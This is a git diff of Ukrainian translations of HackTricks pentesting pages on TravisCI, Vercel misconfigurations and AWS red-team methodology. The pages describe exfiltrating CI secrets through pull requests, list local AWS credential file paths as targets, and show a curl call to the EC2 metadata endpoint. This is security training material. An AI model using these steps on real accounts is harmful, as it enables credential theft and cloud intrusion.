інфраструктури на ранніх етапах циклу розробки вашої інфраструктури як коду за допомогою **KICS** від Checkmarx. +Знайдіть вразливості безпеки, проблеми з відповідністю та неправильні налаштування інфраструктури на ранніх етапах циклу розробки вашої інфраструктури як коду за допомогою **KICS** від Checkmarx. -**KICS** розшифровується як **K**eeping **I**nfrastructure as **C**ode **S**ecure, це програмне забезпечення з відкритим кодом і є обов'язковим для будь-якого проекту, орієнтованого на хмарні технології. +**KICS** означає **K**eeping **I**nfrastructure as **C**ode **S**ecure, це відкритий код і є обов'язковим для будь-якого проекту, орієнтованого на хмарні технології. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` ### [Terrascan](https://github.com/tenable/terrascan) -З [**документації**](https://github.com/tenable/terrascan): Terrascan - це статичний аналізатор коду для Інфраструктури як Код. Terrascan дозволяє вам: +З [**документації**](https://github.com/tenable/terrascan): Terrascan - це статичний аналізатор коду для Інфраструктури як Коду. Terrascan дозволяє вам: - Безперешкодно сканувати інфраструктуру як код на наявність неправильних налаштувань. - Моніторити надану хмарну інфраструктуру на предмет змін конфігурації, які можуть призвести до зміщення позиції, і дозволяє повернутися до безпечної позиції. diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md index ffe0d311a..4120ee545 100644 --- a/src/pentesting-ci-cd/todo.md +++ b/src/pentesting-ci-cd/todo.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -Github PRs вітаються, які пояснюють, як (зловживати) цими платформами з точки зору атакуючого +Запити на злиття Github вітаються, які пояснюють, як (зловживати) цими платформами з точки зору атакуючого - Drone - TeamCity @@ -11,6 +11,6 @@ Github PRs вітаються, які пояснюють, як (зловжива - Rancher - Mesosphere - Radicle -- Будь-яка інша CI/CD платформа... +- Будь-яка інша платформа CI/CD... {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index cbe15fb62..b7016af64 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ b/src/pentesting-ci-cd/travisci-security/README.md @@ -2,19 +2,19 @@ {{#include ../../banners/hacktricks-training.md}} -## What is TravisCI +## Що таке TravisCI -**Travis CI** - це **хостингова** або **локальна** служба **безперервної інтеграції**, що використовується для створення та тестування програмних проектів, розміщених на кількох **різних git платформах**. +**Travis CI** - це **хостингова** або на **місці** служба **безперервної інтеграції**, яка використовується для створення та тестування програмних проектів, розміщених на кількох **різних git платформах**. {{#ref}} basic-travisci-information.md {{#endref}} -## Attacks +## Атаки -### Triggers +### Тригери -Щоб розпочати атаку, спочатку потрібно знати, як запустити збірку. За замовчуванням TravisCI **запускає збірку при пушах та пулл-запитах**: +Щоб розпочати атаку, спочатку потрібно знати, як запустити збірку. За замовчуванням TravisCI **запускає збірку при пушах і запитах на злиття**: ![](<../../images/image (145).png>) @@ -27,15 +27,15 @@ basic-travisci-information.md > [!NOTE] > Схоже, що неможливо налаштувати cron всередині `.travis.yml` відповідно до [цього](https://github.com/travis-ci/travis-ci/issues/9162). -### Third Party PR +### PR від третіх сторін -TravisCI за замовчуванням забороняє обмін змінними середовища з PR, що надходять від третіх сторін, але хтось може це увімкнути, і тоді ви зможете створювати PR до репозиторію та ексфільтрувати секрети: +TravisCI за замовчуванням забороняє обмін змінними середовища з PR, що надходять від третіх сторін, але хтось може це увімкнути, і тоді ви зможете створити PR до репозиторію та ексфільтрувати секрети: ![](<../../images/image (208).png>) -### Dumping Secrets +### Витік секретів -Як пояснено на сторінці [**основна інформація**](basic-travisci-information.md), існує 2 типи секретів. **Секрети змінних середовища** (які перераховані на веб-сторінці) та **кастомні зашифровані секрети**, які зберігаються всередині файлу `.travis.yml` у форматі base64 (зверніть увагу, що обидва, збережені в зашифрованому вигляді, в кінцевих машинах стануть змінними середовища). +Як пояснено на сторінці [**основна інформація**](basic-travisci-information.md), існує 2 типи секретів. **Секрети змінних середовища** (які перераховані на веб-сторінці) та **кастомні зашифровані секрети**, які зберігаються в файлі `.travis.yml` у форматі base64 (зверніть увагу, що обидва, як зберігаються зашифрованими, в кінцевих машинах стануть змінними середовища). - Щоб **перерахувати секрети**, налаштовані як **змінні середовища**, перейдіть до **налаштувань** **проекту** та перевірте список. Однак зверніть увагу, що всі змінні середовища проекту, встановлені тут, з'являться при запуску збірки. - Щоб перерахувати **кастомні зашифровані секрети**, найкраще, що ви можете зробити, це **перевірити файл `.travis.yml`**. @@ -50,14 +50,14 @@ TravisCI за замовчуванням забороняє обмін змін ### TravisCI Enterprise -Якщо зловмисник опиниться в середовищі, яке використовує **TravisCI enterprise** (більше інформації про те, що це таке, в [**основній інформації**](basic-travisci-information.md#travisci-enterprise)), він зможе **запускати збірки в Worker.** Це означає, що зловмисник зможе переміщатися по мережі до того сервера, з якого він зможе: +Якщо зловмисник опиниться в середовищі, яке використовує **TravisCI enterprise** (більше інформації про те, що це таке, в [**основній інформації**](basic-travisci-information.md#travisci-enterprise)), він зможе **запускати збірки в Worker.** Це означає, що зловмисник зможе переміщатися по горизонталі до цього сервера, з якого він зможе: -- втекти на хост? +- втекти до хоста? - скомпрометувати kubernetes? - скомпрометувати інші машини, що працюють в тій же мережі? - скомпрометувати нові облікові дані хмари? -## References +## Посилання - [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/) - [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security) diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index 3577a06b0..ea2a9aa3e 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -10,28 +10,28 @@ TravisCI безпосередньо інтегрується з різними g - `user:email` (тільки для читання) - `read:org` (тільки для читання) -- `repo`: Надає доступ на читання та запис до коду, статусів комітів, співпрацівників та статусів розгортання для публічних та приватних репозиторіїв і організацій. +- `repo`: Надає доступ на читання та запис до коду, статусів комітів, співпрацівників та статусів розгортання для публічних і приватних репозиторіїв та організацій. ## Зашифровані секрети ### Змінні середовища -У TravisCI, як і в інших CI платформах, можливо **зберігати на рівні репозиторію секрети**, які будуть зберігатися в зашифрованому вигляді та **дешифруватися і передаватися в змінну середовища** машини, що виконує збірку. +У TravisCI, як і в інших CI платформах, можливо **зберігати на рівні репозиторію секрети**, які будуть збережені в зашифрованому вигляді та **дешифруватимуться і передаватимуться в змінну середовища** машини, що виконує збірку. ![](<../../images/image (203).png>) -Можливо вказати **гілки, до яких секрети будуть доступні** (за замовчуванням всі) і також, чи повинен TravisCI **приховувати його значення**, якщо воно з'являється **в журналах** (за замовчуванням так). +Можливо вказати **гілки, до яких секрети будуть доступні** (за замовчуванням всі) і також, чи **повинен TravisCI приховувати його значення**, якщо воно з'являється **в журналах** (за замовчуванням так). ### Користувацькі зашифровані секрети -Для **кожного репозиторію** TravisCI генерує **пару RSA ключів**, **зберігає** **приватний** ключ і робить **публічний ключ** репозиторію доступним для тих, хто має **доступ** до репозиторію. +Для **кожного репозиторію** TravisCI генерує **пару RSA ключів**, **зберігає** **приватний** ключ і робить **публічний ключ репозиторію доступним** для тих, хто має **доступ** до репозиторію. Ви можете отримати доступ до публічного ключа одного репозиторію за допомогою: ``` travis pubkey -r / travis pubkey -r carlospolop/t-ci-test ``` -Тоді ви можете використовувати цю налаштування, щоб **шифрувати секрети та додавати їх до вашого `.travis.yaml`**. Секрети будуть **розшифровані, коли буде запущено збірку** і доступні в **змінних середовища**. +Тоді ви можете використовувати цю налаштування для **шифрування секретів і додавання їх до вашого `.travis.yaml`**. Секрети будуть **розшифровані, коли буде запущено збірку** і доступні в **змінних середовища**. ![](<../../images/image (139).png>) @@ -63,7 +63,7 @@ Commit all changes to your .travis.yml. ## TravisCI Enterprise -Travis CI Enterprise - це **локальна версія Travis CI**, яку ви можете розгорнути **у своїй інфраструктурі**. Думайте про ‘серверну’ версію Travis CI. Використання Travis CI дозволяє вам активувати просту у використанні систему безперервної інтеграції/безперервного розгортання (CI/CD) в середовищі, яке ви можете налаштувати та захистити на свій розсуд. +Travis CI Enterprise - це **локальна версія Travis CI**, яку ви можете розгорнути **у своїй інфраструктурі**. Уявіть собі «серверну» версію Travis CI. Використання Travis CI дозволяє вам активувати просту у використанні систему безперервної інтеграції/безперервного розгортання (CI/CD) в середовищі, яке ви можете налаштувати та захистити на свій розсуд. **Travis CI Enterprise складається з двох основних частин:** @@ -73,7 +73,7 @@ Travis CI Enterprise - це **локальна версія Travis CI**, яку **TCI Core services вимагають наступного:** 1. **PostgreSQL11** (або новішу) базу даних. -2. Інфраструктуру для розгортання кластера Kubernetes; його можна розгорнути в кластері серверів або на одній машині, якщо це необхідно. +2. Інфраструктуру для розгортання кластера Kubernetes; його можна розгорнути в кластері серверів або на одному комп'ютері, якщо це необхідно. 3. Залежно від вашої конфігурації, ви можете захотіти розгорнути та налаштувати деякі компоненти самостійно, наприклад, RabbitMQ - див. [Налаштування Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) для отримання додаткової інформації. **TCI Worker вимагає наступного:** @@ -81,7 +81,7 @@ Travis CI Enterprise - це **локальна версія Travis CI**, яку 1. Інфраструктуру, де може бути розгорнуто образ docker, що містить **Worker та пов'язаний образ збірки**. 2. З'єднання з певними компонентами Travis CI Core Services - див. [Налаштування Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) для отримання додаткової інформації. -Кількість розгорнутого TCI Worker та образів середовища збірки ОС визначатиме загальну одночасну ємність розгортання Travis CI Enterprise у вашій інфраструктурі. +Кількість розгорнутого TCI Worker та образів середовища збірки ОС визначатиме загальну одночасну потужність розгортання Travis CI Enterprise у вашій інфраструктурі. ![](<../../images/image (199).png>) diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md index ebd0a3fec..0f069f826 100644 --- a/src/pentesting-ci-cd/vercel-security.md +++ b/src/pentesting-ci-cd/vercel-security.md @@ -39,7 +39,7 @@ - **Ризик:** Вразливість до атак "людина посередині" (MITM), що компрометує цілісність та конфіденційність даних. - **Впровадження DNSSEC** - **Неправильна конфігурація:** Невключення DNSSEC або неправильні налаштування DNSSEC. -- **Ризик:** Збільшена вразливість до спуфінгу DNS та атак на отруєння кешу. +- **Ризик:** Збільшена сприйнятливість до підробки DNS та атак на кеш. - **Середовище, що використовується для кожного домену** - **Неправильна конфігурація:** Зміна середовища, що використовується доменом у виробництві. - **Ризик:** Витік потенційних секретів або функціональностей, які не повинні бути доступні у виробництві. @@ -54,7 +54,7 @@ - **Ізоляція середовища** - **Неправильна конфігурація:** Спільне використання змінних середовища між середовищами. -- **Ризик:** Витік секретів виробництва в середовища розробки або попереднього перегляду, що збільшує вразливість. +- **Ризик:** Витік секретів виробництва в середовища розробки або попереднього перегляду, що збільшує ризик. - **Доступ до чутливих середовищ** - **Неправильна конфігурація:** Дозволяючи широкий доступ до середовищ виробництва. - **Ризик:** Неавторизовані зміни або доступ до живих додатків, що може призвести до потенційних простоїв або витоків даних. @@ -71,11 +71,11 @@ - **Неправильна конфігурація:** Префіксування чутливих змінних `NEXT_PUBLIC_`, що робить їх доступними на стороні клієнта. - **Ризик:** Витік API ключів, облікових даних бази даних або інших чутливих даних для публіки, що призводить до витоків даних. - **Чутливі вимкнені** -- **Неправильна конфігурація:** Якщо вимкнено (за замовчуванням), можливо, читати значення згенерованих секретів. -- **Ризик:** Збільшена ймовірність випадкового витоку або несанкціонованого доступу до чутливої інформації. +- **Неправильна конфігурація:** Якщо вимкнено (за замовчуванням), можливо, прочитати значення згенерованих секретів. +- **Ризик:** Збільшена ймовірність випадкового витоку або неавторизованого доступу до чутливої інформації. - **Спільні змінні середовища** - **Неправильна конфігурація:** Це змінні середовища, встановлені на рівні Команди, і можуть також містити чутливу інформацію. -- **Ризик:** Збільшена ймовірність випадкового витоку або несанкціонованого доступу до чутливої інформації. +- **Ризик:** Збільшена ймовірність випадкового витоку або неавторизованого доступу до чутливої інформації. --- @@ -104,14 +104,14 @@ - **Неправильна конфігурація:** Надання надмірних дозволів інтегрованим сервісам. - **Ризик:** Неавторизований доступ до ресурсів проекту, маніпуляція даними або збої в сервісах. - **Відсутність моніторингу інтеграцій** -- **Неправильна конфігурація:** Невиконання моніторингу та аудиту сторонніх інтеграцій. +- **Неправильна конфігурація:** Невключення моніторингу та аудиту сторонніх інтеграцій. - **Ризик:** Затримка виявлення скомпрометованих інтеграцій, що збільшує потенційний вплив порушень безпеки. --- ### Захист розгортання -**Мета:** Забезпечити безпеку розгортань через різні механізми захисту, контролюючи, хто може отримати доступ і розгортати у ваших середовищах. +**Мета:** Забезпечити розгортання через різні механізми захисту, контролюючи, хто може отримати доступ і розгортати у ваших середовищах. #### Конфігурації безпеки: @@ -123,34 +123,34 @@ **Обхід захисту для автоматизації** - **Неправильна конфігурація:** Публічне розкриття секрету обходу або використання слабких секретів. -- **Ризик:** Зловмисники можуть обійти захист розгортання, отримуючи доступ і маніпулюючи захищеними розгортаннями. +- **Ризик:** Зловмисники можуть обійти захист розгортання, отримуючи доступ до захищених розгортань і маніпулюючи ними. **Посилання для спільного використання** -- **Неправильна конфігурація:** Неправильне спільне використання посилань або невиконання відкликання застарілих посилань. -- **Ризик:** Неавторизований доступ до захищених розгортань, обходячи аутентифікацію та обмеження IP. +- **Неправильна конфігурація:** Безсистемне розкриття посилань або невиконання відкликання застарілих посилань. +- **Ризик:** Неавторизований доступ до захищених розгортань, обминаючи аутентифікацію та обмеження IP. **OPTIONS Allowlist** -- **Неправильна конфігурація:** Дозволення надто широких шляхів або чутливих кінцевих точок. -- **Ризик:** Зловмисники можуть використовувати незахищені шляхи для виконання несанкціонованих дій або обходу перевірок безпеки. +- **Неправильна конфігурація:** Надмірно широке дозволення шляхів або чутливих кінцевих точок. +- **Ризик:** Зловмисники можуть використовувати незахищені шляхи для виконання неавторизованих дій або обходу перевірок безпеки. **Захист паролем** -- **Неправильна конфігурація:** Використання слабких паролів або їх ненадійне спільне використання. +- **Неправильна конфігурація:** Використання слабких паролів або їх ненадійне розкриття. - **Ризик:** Неавторизований доступ до розгортань, якщо паролі вгадуються або витікають. - **Примітка:** Доступно в плані **Pro** як частина **Розширеного захисту розгортання** за додаткові $150/місяць. **Виключення захисту розгортання** - **Неправильна конфігурація:** Ненавмисне додавання доменів виробництва або чутливих до списку виключень. -- **Ризик:** Витік критичних розгортань для публіки, що призводить до витоків даних або несанкціонованого доступу. +- **Ризик:** Витік критичних розгортань для публіки, що призводить до витоків даних або неавторизованого доступу. - **Примітка:** Доступно в плані **Pro** як частина **Розширеного захисту розгортання** за додаткові $150/місяць. **Довірені IP-адреси** - **Неправильна конфігурація:** Неправильне зазначення IP-адрес або діапазонів CIDR. -- **Ризик:** Легітимні користувачі можуть бути заблоковані або несанкціоновані IP-адреси отримують доступ. +- **Ризик:** Легітимні користувачі можуть бути заблоковані або неавторизовані IP можуть отримати доступ. - **Примітка:** Доступно в плані **Enterprise**. --- @@ -212,7 +212,7 @@ **Захист Git Fork** -- **Неправильна конфігурація:** Дозволяючи несанкціоновані запити на витяг без належних перевірок. +- **Неправильна конфігурація:** Дозволяючи неавторизовані запити на витяг без належних перевірок. - **Ризик:** Зловмисний код може бути об'єднаний у кодову базу, вводячи вразливості або бекдори. **Безпечний доступ до бекенду з OIDC Federation** @@ -222,17 +222,17 @@ **Політика збереження розгортання** -- **Неправильна конфігурація:** Встановлення занадто коротких термінів збереження (втрата історії розгортання) або занадто довгих (необхідне зберігання даних). +- **Неправильна конфігурація:** Встановлення занадто коротких (втрата історії розгортання) або занадто довгих (необхідне зберігання даних) періодів збереження. - **Ризик:** Нездатність виконати відкат, коли це необхідно, або підвищений ризик витоку даних з старих розгортань. **Нещодавно видалені розгортання** -- **Неправильна конфігурація:** Невиконання моніторингу видалених розгортань або покладання виключно на автоматизовані видалення. +- **Неправильна конфігурація:** Невиконання моніторингу видалених розгортань або покладання виключно на автоматичні видалення. - **Ризик:** Втрата критичної історії розгортання, що ускладнює аудити та відкат. --- -### Розширене +### Розширений **Мета:** Доступ до додаткових налаштувань проекту для тонкого налаштування конфігурацій та підвищення безпеки. @@ -240,7 +240,7 @@ **Список директорій** -- **Неправильна конфігурація:** Увімкнення списку директорій дозволяє користувачам переглядати вміст директорії без індексного файлу. +- **Неправильна конфігурація:** Увімкнення списку директорій дозволяє користувачам переглядати вміст директорій без індексного файлу. - **Ризик:** Витік чутливих файлів, структури додатка та потенційних точок входу для атак. --- @@ -267,7 +267,7 @@ ### Джерело -- **Неправильна конфігурація:** Дозволяє доступ до читання повного вихідного коду додатка +- **Неправильна конфігурація:** Дозволяє доступ для читання повного вихідного коду додатка - **Ризик:** Потенційний витік чутливої інформації ### Захист від спотворення @@ -311,7 +311,7 @@ - **Ризик:** Стійкість зловмисника - **Ролі** - **Неправильна конфігурація:** Надання занадто багатьох дозволів людям, яким це не потрібно, збільшує ризик конфігурації Vercel. Перевірте всі можливі ролі на [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles) -- **Ризик**: Збільшення вразливості команди Vercel +- **Ризик**: Збільшення експозиції команди Vercel --- @@ -321,7 +321,7 @@ **Потенційні неправильні конфігурації:** -- **Надмірні дозволи членів:** Призначення ролей з більшою кількістю дозволів, ніж необхідно, що призводить до несанкціонованого доступу або дій. +- **Надмірні дозволи членів:** Призначення ролей з більшою кількістю дозволів, ніж необхідно, що призводить до неавторизованого доступу або дій. - **Неправильні призначення ролей:** Неправильне призначення ролей, які не відповідають обов'язкам членів команди, що викликає ескалацію привілеїв. - **Відсутність сегрегації проектів:** Невиконання розділення чутливих проектів, що дозволяє більш широкий доступ, ніж передбачалося. - **Недостатнє управління групами:** Нерегулярний перегляд або оновлення груп доступу, що призводить до застарілих або невідповідних дозволів доступу. @@ -343,36 +343,36 @@ #### Конфігурації безпеки: -- **Домен електронної пошти команди:** При налаштуванні це налаштування автоматично запрошує особисті облікові записи Vercel з адресами електронної пошти, що закінчуються на вказаному домені (наприклад, `mydomain.com`), приєднатися до вашої команди під час реєстрації та на панелі приладів. +- **Домен електронної пошти команди:** Коли налаштовано, це налаштування автоматично запрошує особисті облікові записи Vercel з адресами електронної пошти, що закінчуються на вказаному домені (наприклад, `mydomain.com`), приєднатися до вашої команди під час реєстрації та на панелі управління. - **Неправильна конфігурація:** - Вказування неправильного домену електронної пошти або помилково написаного домену в налаштуванні домену електронної пошти команди. - Використання загального домену електронної пошти (наприклад, `gmail.com`, `hotmail.com`) замість домену, специфічного для компанії. - **Ризики:** - **Неавторизований доступ:** Користувачі з адресами електронної пошти з ненавмисних доменів можуть отримати запрошення приєднатися до вашої команди. -- **Витік даних:** Потенційний витік чутливої інформації проекту для несанкціонованих осіб. +- **Витік даних:** Потенційний витік чутливої інформації проекту для неавторизованих осіб. - **Захищені Git-обсяги:** Дозволяє вам додати до 5 Git-обсягів до вашої команди, щоб запобігти іншим командам Vercel від розгортання репозиторіїв з захищеного обсягу. Кілька команд можуть вказувати один і той же обсяг, що дозволяє обом командам отримати доступ. - **Неправильна конфігурація:** Невключення критичних Git-обсягів до захищеного списку. - **Ризики:** -- **Неавторизовані розгортання:** Інші команди можуть розгортати репозиторії з Git-обсягів вашої організації без авторизації. +- **Неавторизовані розгортання:** Інші команди можуть розгортати репозиторії з обсягів Git вашої організації без авторизації. - **Витік інтелектуальної власності:** Програмний код може бути розгорнутий і доступний за межами вашої команди. - **Політики змінних середовища:** Встановлює політики для створення та редагування змінних середовища команди. Зокрема, ви можете вимагати, щоб усі змінні середовища створювалися як **Чутливі змінні середовища**, які можуть бути розшифровані лише системою розгортання Vercel. - **Неправильна конфігурація:** Залишення вимоги чутливих змінних середовища вимкненою. - **Ризики:** -- **Витік секретів:** Змінні середовища можуть бути переглянуті або відредаговані несанкціонованими членами команди. +- **Витік секретів:** Змінні середовища можуть бути переглянуті або відредаговані неавторизованими членами команди. - **Витік даних:** Чутлива інформація, така як API ключі та облікові дані, може бути витікана. - **Журнал аудиту:** Надає експорт активності команди за останні 90 днів. Журнали аудиту допомагають у моніторингу та відстеженні дій, виконаних членами команди. - **Неправильна конфігурація:**\ -Надання доступу до журналів аудиту несанкціонованим членам команди. +Надання доступу до журналів аудиту неавторизованим членам команди. - **Ризики:** - **Порушення конфіденційності:** Витік чутливих дій та даних користувачів. - **Підробка журналів:** Зловмисники можуть змінювати або видаляти журнали, щоб приховати свої сліди. - **SAML Single Sign-On:** Дозволяє налаштування аутентифікації SAML та синхронізації каталогів для вашої команди, що дозволяє інтеграцію з постачальником ідентичності (IdP) для централізованої аутентифікації та управління користувачами. -- **Неправильна конфігурація:** Зловмисник може створити бекдор у налаштуванні команди, налаштовуючи параметри SAML, такі як ID сутності, URL SSO або відбитки сертифікатів. +- **Неправильна конфігурація:** Зловмисник може створити бекдор у налаштуванні команди, налаштовуючи параметри SAML, такі як ID сутності, URL-адреса SSO або відбитки сертифікатів. - **Ризик:** Підтримка стійкості - **Видимість IP-адрес:** Контролює, чи відображаються IP-адреси, які можуть вважатися особистою інформацією відповідно до певних законів про захист даних, у запитах моніторингу та Log Drains. - **Неправильна конфігурація:** Залишення видимості IP-адрес увімкненою без необхідності. - **Ризики:** -- **Порушення конфіденційності:** Невідповідність вимогам законодавства про захист даних, таким як GDPR. +- **Порушення конфіденційності:** Невиконання вимог законодавства про захист даних, таких як GDPR. - **Юридичні наслідки:** Потенційні штрафи та покарання за неналежне оброблення особистих даних. - **Блокування IP:** Дозволяє налаштування IP-адрес та діапазонів CIDR, з яких Vercel має блокувати запити. Заблоковані запити не впливають на ваше білінг. - **Неправильна конфігурація:** Може бути зловмисно використана зловмисником для дозволу шкідливого трафіку або блокування легітимного трафіку. @@ -382,18 +382,18 @@ --- -### Безпечні обчислення +### Secure Compute -**Vercel Secure Compute** забезпечує безпечні, приватні з'єднання між функціями Vercel та бекенд-середовищами (наприклад, базами даних) шляхом створення ізольованих мереж з виділеними IP-адресами. Це усуває необхідність публічного розкриття бекенд-сервісів, підвищуючи безпеку, відповідність та конфіденційність. +**Vercel Secure Compute** забезпечує безпечні, приватні з'єднання між функціями Vercel та бекенд-середовищами (наприклад, базами даних), створюючи ізольовані мережі з виділеними IP-адресами. Це усуває необхідність публічного розкриття бекенд-сервісів, підвищуючи безпеку, відповідність та конфіденційність. #### **Потенційні неправильні конфігурації та ризики** 1. **Неправильний вибір регіону AWS** - **Неправильна конфігурація:** Вибір регіону AWS для мережі Secure Compute, який не відповідає регіону бекенд-сервісів. - **Ризик:** Збільшена затримка, потенційні проблеми з відповідністю резидентності даних та зниження продуктивності. -2. **Перекриваючі CIDR-блоки** -- **Неправильна конфігурація:** Вибір CIDR-блоків, які перекриваються з існуючими VPC або іншими мережами. -- **Ризик:** Конфлікти мережі, що призводять до невдалих з'єднань, несанкціонованого доступу або витоку даних між мережами. +2. **Перекриваючі CIDR блоки** +- **Неправильна конфігурація:** Вибір CIDR блоків, які перекриваються з існуючими VPC або іншими мережами. +- **Ризик:** Конфлікти мережі, що призводять до невдалих з'єднань, неавторизованого доступу або витоку даних між мережами. 3. **Неправильна конфігурація VPC Peering** - **Неправильна конфігурація:** Неправильне налаштування VPC peering (наприклад, неправильні ID VPC, неповні оновлення таблиць маршрутів). - **Ризик:** Неавторизований доступ до інфраструктури бекенду, невдалі безпечні з'єднання та потенційні витоки даних. @@ -402,22 +402,22 @@ - **Ризик:** Спільна експозиція IP збільшує поверхню атаки, потенційно дозволяючи скомпрометованим проектам впливати на інші. 5. **Недостатнє управління IP-адресами** - **Неправильна конфігурація:** Невиконання управління або ротації виділених IP-адрес належним чином. -- **Ризик:** Спуфінг IP, вразливості для відстеження та потенційне занесення в чорний список, якщо IP пов'язані зі шкідливою діяльністю. +- **Ризик:** Підробка IP, вразливості для відстеження та потенційне занесення до чорного списку, якщо IP пов'язані зі шкідливою діяльністю. 6. **Неправильне включення контейнерів збірки** - **Неправильна конфігурація:** Додавання контейнерів збірки до мережі Secure Compute, коли доступ до бекенду не потрібен під час збірок. -- **Ризик:** Розширена поверхня атаки, збільшені затримки в постачанні та ненадійне споживання мережевих ресурсів. +- **Ризик:** Розширена поверхня атаки, збільшені затримки при наданні та неналежне споживання мережевих ресурсів. 7. **Невиконання безпечного оброблення секретів обходу** - **Неправильна конфігурація:** Витік або неналежне оброблення секретів, що використовуються для обходу захисту розгортання. - **Ризик:** Неавторизований доступ до захищених розгортань, що дозволяє зловмисникам маніпулювати або розгортати шкідливий код. -8. **Ігнорування конфігурацій відмови регіону** -- **Неправильна конфігурація:** Невиконання налаштування пасивних регіонів відмови або неправильне налаштування параметрів відмови. +8. **Ігнорування налаштувань резервування регіону** +- **Неправильна конфігурація:** Невиконання налаштування пасивних регіонів резервування або неправильне налаштування параметрів резервування. - **Ризик:** Перерви в обслуговуванні під час відмови основного регіону, що призводить до зниження доступності та потенційної несумісності даних. 9. **Перевищення лімітів з'єднань VPC Peering** - **Неправильна конфігурація:** Спроба встановити більше з'єднань VPC peering, ніж дозволено (наприклад, перевищення 50 з'єднань). - **Ризик:** Нездатність безпечно підключити необхідні бекенд-сервіси, що викликає збої в розгортанні та операційні збої. 10. **Небезпечні налаштування мережі** - **Неправильна конфігурація:** Слабкі правила брандмауера, відсутність шифрування або неналежна сегментація мережі в межах мережі Secure Compute. -- **Ризик:** Перехоплення даних, несанкціонований доступ до бекенд-сервісів та підвищена вразливість до атак. +- **Ризик:** Перехоплення даних, неавторизований доступ до бекенд-сервісів та підвищена вразливість до атак. --- @@ -431,7 +431,7 @@ - **Неправильна конфігурація:** Префіксування чутливих змінних `NEXT_PUBLIC_`, що робить їх доступними на стороні клієнта. - **Ризик:** Витік API ключів, облікових даних бази даних або інших чутливих даних для публіки, що призводить до витоків даних. - **Чутливі вимкнені** -- **Неправильна конфігурація:** Якщо вимкнено (за замовчуванням), можливо, читати значення згенерованих секретів. -- **Ризик:** Збільшена ймовірність випадкового витоку або несанкціонованого доступу до чутливої інформації. +- **Неправильна конфігурація:** Якщо вимкнено (за замовчуванням), можливо, прочитати значення згенерованих секретів. +- **Ризик:** Збільшена ймовірність випадкового витоку або неавторизованого доступу до чутливої інформації. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index e848ed95b..d68052293 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -4,9 +4,9 @@ ## Основна інформація -**Перед початком пентестингу** середовища **AWS** є кілька **основних речей, які вам потрібно знати** про те, як працює AWS, щоб допомогти вам зрозуміти, що потрібно робити, як знаходити неправильні налаштування та як їх експлуатувати. +**Перед початком тестування на проникнення** в **AWS** середовище є кілька **основних речей, які вам потрібно знати** про те, як працює AWS, щоб допомогти вам зрозуміти, що потрібно робити, як знаходити неправильні налаштування та як їх експлуатувати. -Концепції, такі як ієрархія організації, IAM та інші базові концепції, пояснюються в: +Концепції, такі як ієрархія організації, IAM та інші основні концепції, пояснюються в: {{#ref}} aws-basic-information/ @@ -29,9 +29,9 @@ aws-basic-information/ ## Методологія AWS Pentester/Red Team -Для аудиту середовища AWS дуже важливо знати: які **послуги використовуються**, що **експонується**, хто має **доступ** до чого, і як внутрішні AWS послуги та **зовнішні послуги** з'єднані. +Для аудиту AWS середовища дуже важливо знати: які **послуги використовуються**, що **експонується**, хто має **доступ** до чого, і як внутрішні AWS послуги та **зовнішні послуги** з'єднані. -З точки зору Red Team, **перший крок для компрометації середовища AWS** - це отримати деякі **облікові дані**. Ось кілька ідей, як це зробити: +З точки зору Red Team, **перший крок до компрометації AWS середовища** - це отримати деякі **облікові дані**. Ось кілька ідей, як це зробити: - **Витоки** в github (або подібних) - OSINT - **Соціальна** інженерія @@ -42,7 +42,7 @@ aws-basic-information/ - `/home/USERNAME/.aws/credentials` - `C:\Users\USERNAME\.aws\credentials` - 3-ті сторони **зламані** -- **Внутрішній** співробітник +- **Внутрішній** працівник - [**Cognito** ](aws-services/aws-cognito-enum/#cognito)облікові дані Або шляхом **компрометації неавтентифікованої служби**, що експонується: @@ -72,7 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### Whoami -Однією з перших речей, які вам потрібно знати, є те, хто ви (в якому обліковому записі ви знаходитесь та інша інформація про середовище AWS): +Однією з перших речей, які вам потрібно знати, є те, хто ви є (в якому обліковому записі ви знаходитесь та інша інформація про AWS середовище): ```bash # Easiest way, but might be monitored? aws sts get-caller-identity @@ -92,18 +92,18 @@ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic > Зверніть увагу, що компанії можуть використовувати **canary tokens** для виявлення, коли **токени крадуться та використовуються**. Рекомендується перевірити, чи є токен canary token, перш ніж його використовувати.\ > Для отримання додаткової інформації [**перевірте цю сторінку**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). -### Org Enumeration +### Перерахування організацій {{#ref}} aws-services/aws-organizations-enum.md {{#endref}} -### IAM Enumeration +### Перерахування IAM Якщо у вас достатньо прав, **перевірка привілеїв кожної сутності всередині облікового запису AWS** допоможе вам зрозуміти, що ви та інші ідентичності можете робити і як **підвищити привілеї**. -Якщо у вас недостатньо прав для перерахунку IAM, ви можете **викрасти їх за допомогою брутфорсу**, щоб їх з'ясувати.\ -Перевірте **як виконати нумерацію та брутфорс** в: +Якщо у вас недостатньо прав для перерахування IAM, ви можете **викрасти їх за допомогою брутфорсу**, щоб їх виявити.\ 